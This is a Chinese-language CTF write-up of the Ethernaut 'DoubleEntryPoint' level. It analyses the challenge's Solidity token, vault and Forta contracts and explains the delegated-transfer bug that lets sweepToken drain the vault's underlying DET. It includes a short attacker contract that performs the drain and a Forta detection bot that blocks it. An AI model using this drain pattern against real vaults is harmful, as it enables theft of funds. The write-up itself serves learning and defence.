26.DoublicEntryPoint
2023-07-19 15:26:29 # 04.Ethernaut CTF

DoublicEntryPoint

题目

要求:找到CryptoVault中的bug,用玩家EOA账户创建Forta机器人,进行防御而不是攻击。注意,需要在被攻击之前设置好机器人以完成题目,也就是说,不能你尝试攻击成功后再做防御。因此,你在测试过可以攻击后,要重新生成一个instance,然后直接防御。我猜题目的检测机制是看看能不能攻击成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

分析

1.全局观

题目看起来挺复杂,别被吓到(好吧我已经被吓到了:fearful:),走流程分析。

我们第一步要看看这个题目都有些啥合约,根据名字、继承关系和题目描述,我们可以推断他们的大概职责:

  • LegacyToken(LGT),DoubleEntryPoint(DET):两个ERC20代币合约
  • CryptoVault:金库合约
  • Forta:报警机器人,任何人都可以在这里注册机器人,然后检测其他合约,交易异常则发出报警

2.详细分析

知道了各个合约的职责,我们就要详细分析每个合约干了些什么。通常顺序是先看方法名理解会做啥事情,然后再具体分析代码逻辑

  • LegacyToken(LGT)

    • 重写了transfer
      • 如果delagate地址没有设置,或者设为0,则正常调用ERC20标准的transfer
      • 如果delagate设置为其他值,则调用delegate的delegateTransfer()方法。本题中,delegate是DoubleEntryPoint合约,因此只会走这里而不会调用ERC20标准的transfer
    • 只有onwer可以修改delagate
  • DoubleEntryPoint(DET)

    • 初始化所有变量,然后mint 100 个DET给CryptoVault(金库)
    • onlyDelegateFrom修饰的方法只可以由delegatedFrom调用,也就是LegacyToken(LGT)
    • fortaNotify:用于报警机器人,首先获取报警机器人之前报警的次数,执行报警机器人的norify(),也就是让报警机器人执行handleTransaction()来处理这笔交易。然后执行被修饰的方法。如果这笔交易将会发生警报,那么将会增加报警的次数,一旦新的报警次数大于之前的(也就是说这次交易发生了报警嘛),就将这笔交易revert
    • delegateTransfer()只能由LegacyToken(LGT)合约调用,并且fortaNotify充当报警机器人进行监控,如果发生报警则交易revert。如果一切顺利,我们将调用_transfer()方法将DET代币转移
  • CryptoVault(金库)

    • 这个合约有bug,我们需要做的不是攻击,而是帮助这个合约进行防御

    • 持有100个DET和LGT代币

    • setUnderlying()设置底层代币地址,并且只能设置一次,也就是DoubleEntryPoint(DET),因为题目说了:

      The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it.

    • sweepToken()在确保要被转移的代币不是DET的情况下,将本合约中的此token所有余额转移到sweptTokensRecipient中。当然sweptTokensRecipient我们无法修改。

  • Forta(报警机器人)

    • 用于监控,检测DeFi、NFT、DAO、跨链桥等
    • setDetectionBot()方法,任何人都可以实现一个报警机器人(需要实现相应的方法),然后注册到本合约Forta中使用。
    • raiseAlert()增加报警次数

3.寻找漏洞

要找到漏洞,要看看现在我们拥有什么。题目给我们的instance是DET合约,这个可以通过到github仓库得知:

1
2
3
4
5
6
function createInstance(address _player) override public payable returns (address) {
....
DoubleEntryPoint newToken = new DoubleEntryPoint(address(oldToken), address(vault), address(forta), _player);
......
return address(newToken);
}

然后拿着这个instance地址,查看slot情况,我们遍历前15个slot,结果如下。因为DET继承了好几个合约,继承的slot是按顺序往下排的,因此他本身的四个变量的slot是6~9。并且CryptoVault是slot 6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[Address] 0x494Cb524120F5EFFbA2a8430F8d41aB6AcbF11A1 (DET)
[Slot 0] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 1] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 2] 0x0000000000000000000000000000000000000000000000056bc75e2d63100000
[Slot 3] 0x446f75626c65456e747279506f696e74546f6b656e000000000000000000002a
[Slot 4] 0x4445540000000000000000000000000000000000000000000000000000000006
[Slot 5] 0x0000000000000000000000009451961b7aea1df57bc20cc68d72f662241b5493
[Slot 6] 0x0000000000000000000000002afe0c3dc3a9cf42a0b0cf6ace3e00d6c4ce66d5 // CryptoVault,此合约中包含DET
[Slot 7] 0x000000000000000000000000d3e65149c212902749d49011b6ab24bba30d97c6 // player
[Slot 8] 0x00000000000000000000000012cae34400598ab6afc58b670a1a1e80cdbdaf78 // delegatedFrom(LGT)
[Slot 9] 0x0000000000000000000000005dfa1e4e8c1f4a3f88ff2ed3a12e92d3c8129ea9 // forta
[Slot 10] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 11] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 12] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 13] 0x0000000000000000000000000000000000000000000000000000000000000000
[Slot 14] 0x0000000000000000000000000000000000000000000000000000000000000000

我们看看slot 6 CryptoVault在Etherscan的资产情况,确实拥有DET和LGT各100个

因为金库CryptoVault中的sweepToken()除了无法提取底层代币,其他的代币都可以提取。那么理论上任何人都可以提取LGT这个代币,而无法提取DET这个底层代币,这也是业务的期望逻辑。但是这就是问题就在这里,我们可以把底层代币DET提取出来。

攻击方法是调用CryptoVault的sweepToken(),攻击思路如下:

1.在CryptoVault合约中调用sweepToken( LGT ),可以调用成功因为传参不是DET

2.在LGT合约中,会调用到transfer()。这不是transfer()的标准实现,这种魔改的方法往往会有问题。因为LGT合约中已经设置过delegate了,为DET,因此会走到else语句中。注意,这里的msg.sender是CryptoVault。

1
2
3
4
5
6
7
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}

3.然后会程序流会跳转到DET合约的delegateTransfer()方法,然后进行转账。因为没有设置机器人来报警,因此会被转走代币。

4.这样,我们就在CryptoVault偷走DET!

攻击代码可以是如下。将题目instance地址传入,然后调用attack_stealDET()即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity 0.8.17;

interface IForta {
function setDetectionBot(address) external;
function notify(address , bytes calldata ) external;
function raiseAlert(address ) external;
}//报警机器人

interface IDetectionBot {
function handleTransaction(address, bytes calldata ) external;
}

interface ICryptoVault{
function sweepToken(address) external;
function underlying() external view returns(address);
} // 金库

interface ILegacyToken { } // 垃圾币

interface IDoubleEntryPoint {
function cryptoVault() external view returns(address);
function delegatedFrom() external view returns(address);
function forta() external view returns(address);
} // 底层币

// 1. 获取一个实例,尝试是否可以攻击成功
contract attaker{
IDoubleEntryPoint instance; // 题目实例
IForta forta; // 报警机器人
IDoubleEntryPoint DET; // 底层币
ILegacyToken LGT; // 垃圾币
ICryptoVault vault; // 金库

constructor(IDoubleEntryPoint _addr) public {
// 初始化题目信息
instance = _addr;
vault = ICryptoVault(instance.cryptoVault());
DET = IDoubleEntryPoint(vault.underlying());
LGT = ILegacyToken(instance.delegatedFrom());
forta = IForta(instance.forta());
}

function attack_stealDET() public { // 2.我们来尝试一下是否可以攻击成功
vault.sweepToken(address(LGT));
}

}

4.做出防御

那么,我们就大概知道了攻击逻辑:当调用跳转到LGT合约的时候,又会让CryptoVault跳转到DET,并调用DET时的msg.sender是CryptoVault。这样就实现了偷钱。因此,我们的防御思路就是在调用DET的转账方法的时候,设置一个报警机器人,让它来检查LGT的transfer()第三个参数msg.sender是不是CryptoVault即可,是则报警(也就是将报警数量+1,调用raiseAlert()

1
return delegate.delegateTransfer(to, value, msg.sender);

那么如何找到第三个参数msg.sender呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

handleTransaction()传入的calldata如下:

长度 offset 变量类型
4 bytes 0x0 bytes4 函数选择器handleTransaction(address,bytes):0x220ab6aa
32 bytes 0x4 address user
32 bytes 0x24 uint256 Offset of msgData
32 bytes 0x44 uint256 Length of msgData
4 bytes 0x64 bytes4 函数选择器delegateTransfer(address,uint256,address):0x9cd1a121
32 bytes 0x68 address to
32 bytes 0x88 uint256 value
32 bytes 0xA8 address msg.sender
28 bytes 0xC8 bytes 补0

我们需要判断的msg.sender位于calldata的0xA8之后的32字节,因此我们用内联汇编取出来判断即可:

1
calldataload(0xa8)

完整的报警机器人实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 3. 部署一个MyRobot
contract MyRobot is IDetectionBot {
ICryptoVault vault;

constructor(ICryptoVault _addr) public {
vault = _addr;
}

function handleTransaction(address user, bytes calldata msgData) external override {

address origSender;
assembly {
origSender := calldataload(0xa8)
}

if(origSender == address(vault)) {
IForta(msg.sender).raiseAlert(user);
}
}
}
// 4. 创建一个新的题目instance
// 5. 用EOA账户调用新实例的IForta的setDetectionBot()设置报警机器人
// 6. 完成

解题

完整代码如下,根据代码中的序号一步一步调用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
pragma solidity 0.8.17;

interface IForta {
function setDetectionBot(address) external;
function notify(address , bytes calldata ) external;
function raiseAlert(address ) external;
} // 报警机器人

interface IDetectionBot {
function handleTransaction(address, bytes calldata ) external;
}

interface ICryptoVault{
function sweepToken(address) external;
function underlying() external view returns(address);
} // 金库

interface ILegacyToken { } // 垃圾币

interface IDoubleEntryPoint {
function cryptoVault() external view returns(address);
function delegatedFrom() external view returns(address);
function forta() external view returns(address);
} // 底层币

// 1. 获取一个实例,尝试是否可以攻击成功
contract attaker{
IDoubleEntryPoint instance; // 题目实例
IForta forta; // 报警机器人
IDoubleEntryPoint DET; // 底层币
ILegacyToken LGT; // 垃圾币
ICryptoVault vault; // 金库

constructor(IDoubleEntryPoint _addr) public {
// 初始化题目信息
instance = _addr;
vault = ICryptoVault(instance.cryptoVault());
DET = IDoubleEntryPoint(vault.underlying());
LGT = ILegacyToken(instance.delegatedFrom());
forta = IForta(instance.forta());
}

function attack_stealDET() public { // 2.我们来尝试一下是否可以攻击成功
vault.sweepToken(address(LGT));
}

}

// 3. 用玩家EOA账号部署一个MyRobot
contract MyRobot is IDetectionBot {
ICryptoVault vault;

constructor(ICryptoVault _addr) public {
vault = _addr;
}

function handleTransaction(address user, bytes calldata msgData) external override {

address origSender;
assembly {
origSender := calldataload(0xa8)
}

if(origSender == address(vault)) {
IForta(msg.sender).raiseAlert(user);
}
}
}
// 4. 创建一个新的题目instance
// 5. 用EOA账户调用新实例的IForta的setDetectionBot()设置报警机器人
// 6. 完成

给出攻击的流程:

成功